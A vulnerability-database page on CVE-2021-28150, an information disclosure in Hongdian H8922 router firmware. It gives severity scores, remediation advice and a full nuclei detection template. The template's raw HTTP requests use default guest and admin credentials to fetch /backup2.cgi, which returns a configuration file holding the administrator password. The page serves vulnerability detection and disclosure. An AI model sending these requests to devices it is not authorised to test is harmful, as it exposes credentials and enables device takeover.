HexBrain

Browse / CVEs / CVE-2021-28150

CVE-2021-28150· hongdian / h8922 firmware· CWE-425

Hongdian H8922 3.0.5 - Information Disclosure

mediumseverity
5.5CVSS score
2.7%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability can lead to the exposure of sensitive data, potentially compromising the confidentiality of the system and its users.

Fix

Apply the latest security patch or update provided by Hongdian to fix the information disclosure vulnerability (CVE-2021-28150).

How to confirm it

Send: GET /backup2.cgi
Positive when: contains in header "application/octet-stream" AND contains "CLI configuration saved from vty" or "service webadmin" AND status 200

Run it with nuclei: nuclei -id CVE-2021-28150 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-28150

info:
  name: Hongdian H8922 3.0.5 - Information Disclosure
  author: gy741
  severity: medium
  description: Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to the exposure of sensitive data, potentially compromising the confidentiality of the system and its users.
  remediation: |
    Apply the latest security patch or update provided by Hongdian to fix the information disclosure vulnerability (CVE-2021-28150).
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - http://en.hongdian.com/Products/Details/H8922
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28150
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.5
    cve-id: CVE-2021-28150
    cwe-id: CWE-425
    epss-score: 0.02685
    epss-percentile: 0.85966
    cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hongdian
    product: h8922_firmware
  tags: cve2021,cve,hongdian,exposure,vkev,vuln

http:
  - raw:
      - |
        GET /backup2.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
      - |
        GET /backup2.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: word
        part: body
        words:
          - "CLI configuration saved from vty"
          - "service webadmin"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from